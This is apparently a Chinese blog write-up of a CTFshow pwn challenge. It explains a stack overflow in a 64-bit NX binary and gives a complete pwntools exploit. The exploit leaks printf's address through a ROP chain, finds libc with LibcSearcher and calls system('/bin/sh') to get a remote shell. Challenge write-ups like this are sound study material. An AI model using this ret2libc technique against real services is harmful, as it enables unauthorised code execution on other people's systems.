[CTFshow_月饼杯]简单的胖

说实话,这题很简单,但是我当时用kali打的,明明差着一字节,但是本地打却没有问题,远程环境应该是 ubuntu18,就 timeout 了。整了好久都不知道怎么回事。

吃一堑,长一智,以后再也不用 kali 打 pwn 了,之前也是莫名其妙的出现一些问题。换了 Ubuntu

file
64位,开NX

file
就这一个函数,read 直接溢出,但是 buf 末尾字节置0。

exp:

from pwn import*
from LibcSearcher import*

p=remote('pwn.challenge.ctf.show',28015)
#p=process('./pwn')
elf=ELF('./pwn')
context.log_level='debug'
printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
pop_rdi=0x400703
pop_rbx=0x4006FA
main=0x4005F7
ret=0x400704
pop_rsi=0x400701

payload2=b'a'*0x28+p64(ret)+p64(pop_rdi)+p64(printf_got)+p64(printf_plt)+p64(main+1)
p.recvuntil('name? ')
p.sendline(payload2)
p.recvuntil('!\n')
printf_addr=u64(p.recv(6).ljust(0x8,b'\x00'))
print('printf:',hex(printf_addr))
#gdb.attach(p)
libc=LibcSearcher('printf',printf_addr)
libcbase = printf_addr - libc.dump('printf')
system=libcbase+libc.dump('system')
sh=libcbase+libc.dump('str_bin_sh')
execve=libcbase+libc.dump('execve')
exit=libcbase+libc.dump('exit')
print('system:',hex(system))
print('execve',hex(execve))
print('sh:',hex(sh))
#p.recvuntil('name? ')
payload3=b'a'*0x28+p64(ret)+p64(pop_rdi)+p64(sh)+p64(system)
p.sendlineafter('name? ',payload3)
p.interactive()

file

发表评论

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据